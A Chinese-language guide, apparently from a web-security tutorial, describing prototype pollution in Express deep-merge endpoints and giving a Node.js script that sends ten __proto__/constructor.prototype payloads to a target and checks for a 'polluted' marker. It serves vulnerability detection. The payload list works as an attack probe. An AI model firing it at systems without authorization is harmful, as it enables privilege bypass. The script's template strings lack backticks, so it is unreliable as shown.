web-security-advanced-web-play…

# Express 原型污染漏洞检测方案

一、漏洞原理简述

merge-options 等 lodash-style 深合并库在合并用户可控 JSON 时，若未过滤 __proto__、constructor.prototype 等键，攻击者可污染 Object.prototype，影响所有对象（如 isAdmin: true、绕过权限判断、RCE 链等）。

二、检测脚本

```javascript

const axios = require('axios');

const BASE_URL = process.env.TARGET || 'https://your-api.example.com';

const ENDPOINT = '/api/merge'; // 换成你的深合并接口路径

// 验证污染是否生效：请求一个正常接口，看响应中是否出现被注入的字段

const payloads = [

{ "__proto__": { "polluted": "yes" } },

{ "constructor": { "prototype": { "polluted": "yes" } } },

{ "__proto__.__proto__": { "polluted": "yes" } },

{ "a": { "__proto__": { "polluted": "yes" } } },

{ "__proto__": { "polluted": "yes" }, "b": 2 },

JSON.parse('{"__proto__":{"polluted":"yes"}}'),

{ "constructor[prototype][polluted]": "yes" },

{ "__proto__[polluted]": "yes" },

{ "user": { "constructor": { "prototype": { "polluted": "yes" } } } },

{ "__proto__": { "toString": { "polluted": "yes" } } }

];

(async () => {

for (const p of payloads) {

try {

await axios.post(${BASE_URL}${ENDPOINT}, p, {

headers: { 'Content-Type': 'application/json' },

timeout: 5000

});

// 二次验证：新建对象检查是否继承到污染属性

const check = await axios.get(${BASE_URL}/api/any-endpoint-returning-object);

if (JSON.stringify(check.data).includes('polluted')) {

console.error([VULNERABLE] payload: ${JSON.stringify(p)});

} else {

console.log([safe] ${JSON.stringify(p)});

}

} catch (e) {

console.log([error] ${JSON.stringify(p)} -> ${e.message});

}

}

})();

```

三、使用说明

• 步骤：`npm